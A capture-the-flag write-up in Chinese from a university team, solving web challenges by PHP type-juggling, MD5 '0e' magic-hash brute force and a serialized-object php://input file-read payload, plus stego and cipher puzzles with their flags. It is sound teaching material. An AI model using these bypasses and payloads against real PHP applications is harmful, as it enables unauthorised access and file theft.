【黑盾杯】赛题经验分享：厦门大学Ph0en1x战队题解

<?php
error_reporting(0);
$user = $_COOKIE['user'];
$code = $_GET['code']?(int)$_GET['code']:'';
if($user == 'admin' && !empty($code)) {
	$hex = (int)$code;
	if(($hex ^ 6789) === 0xCDEF) {
		require("flag.php");
		echo $flag;
		exit();
	}	
echo "ȱ��Ӧ�еIJ���,��û��Ȩ�޲鿴������";
?>

<?php 
show_source(__FILE__); 
$a=0; 
$b=0; 
$c=0; 
$d=0; 
if (isset($_GET['x1'])) //$x1=0;=>$a=1;
{ 
        $x1 = $_GET['x1']; 
        $x1=="1"?die("ha?"):NULL; 
        switch ($x1) 
        { 
        case 0: 
        case 1: 
                $a=1; 
                break; 
        } 
} 
$x2=(array)json_decode(@$_GET['x2']); 
//$x2=json_encode(['x21'=>'2018hello','x22'=>[[],0]]) ;
//string(32) "{"x21":"2018hello","x22":[[],0]}"
if(is_array($x2)){ 
    is_numeric(@$x2["x21"])?die("ha?"):NULL; 
    if(@$x2["x21"]){ 
        ($x2["x21"]>2017)?$b=1:NULL; 
    } 
    if(is_array(@$x2["x22"])){ 
        if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?"); 
        $p = array_search("XIPU", $x2["x22"]); 
        //array_search — 在数组中搜索给定的值，如果成功则返回相应的键名 
        //mixed array_search( mixed $needle, array $haystack[, bool $strict = false] )
        //第三个参数决定在搜索时是否比较类型，默认不比较，也是这里能够绕过的原因。
        //var_dump(array_search('XIPU', array("0","1",0)));//int(2)
        //0==‘XIPU’为真，搜索到0值的下标为2
        $p===false?die("ha?"):NULL; 
        foreach($x2["x22"] as $key=>$val){ 
            $val==="XIPU"?die("ha?"):NULL; 
        } 
        $c=1; 
} 
} 
$x3 = $_GET['x3']; 
if ($x3 != '15562') { 
    if (strstr($x3, 'XIPU')) { 
        if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) { 
            //两个符合正则  /0e\d+/  的字符串弱相等。
            // 爆破见下方python代码
            $d=1; 
        } 
    } 
} 
if($a && $b && $c && $d){ 
    include "flag.php"; 
    echo $flag; 
} 
?>

def brute():
    for a in range(0x20, 0x7f):
        for b in range(0x20, 0x7f):
            for c in range(0x20, 0x7f):
                    x = chr(a) + chr(b) + chr(c)+s
                    mm=md5(x.encode('UTF-8')).hexdigest()
                    flag=1
                    for i in mm[10:24]:
                        if i not in '0123456789':
                            flag=0
                            break
                    if flag and mm[8:10]=='0e':
                        print(x)

brute()
# kN[XIPU
# v=|XIPU
# y'wXIPU
# }MOXIPU
# ~VhXIPU
## http://192.168.200.200/web/bestlanguage/?x1=0&x2={%22x21%22:%222018hello%22,%22x22%22:[[],0]}&x3=~VhXIPU
## flag{510ea2879fa29d0d618b1f55350965c3}

/web/theuserisadmin/?file=class.php&user=php://input&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}

post:the user is admin
    
//flag{078d8dd8023d5716a11780adf344dfd2}

binwalk -e sgcc.png
cat secret.txt | base64 -d | base64 -d > final.png

snkeegt fhstetr Iedsabs tnaktrt otessha iiriwis tethees
key： howarey
Columnar Transposition Cipher

c='snkeegt fhstetr Iedsabs tnaktrt otessha iiriwis tethees'.split(' ')
k='howarey'
kk=sorted(k)
print(''.join(c[kk.index(j)][i] for i in range(len(k)) for j in k))
# Itisofteninthedarkestskiesthatweseebrighteststars

echo MZWGCZ33MM4GENJVHBRDSNJUGAYTSOBVGZTDAYRQGIZTINLEMMZTSNJVHBRX2=== | base32 -d
#flag{c8b558b954019856f0b02345dc39558c}

python -c "open('file.png','wb').write(open('reverseme','rb').read()[::-1])"
或
<reverseme xxd -p -c1 | tac | xxd -p -r >file.png

convert -flop file.png mirror_file.png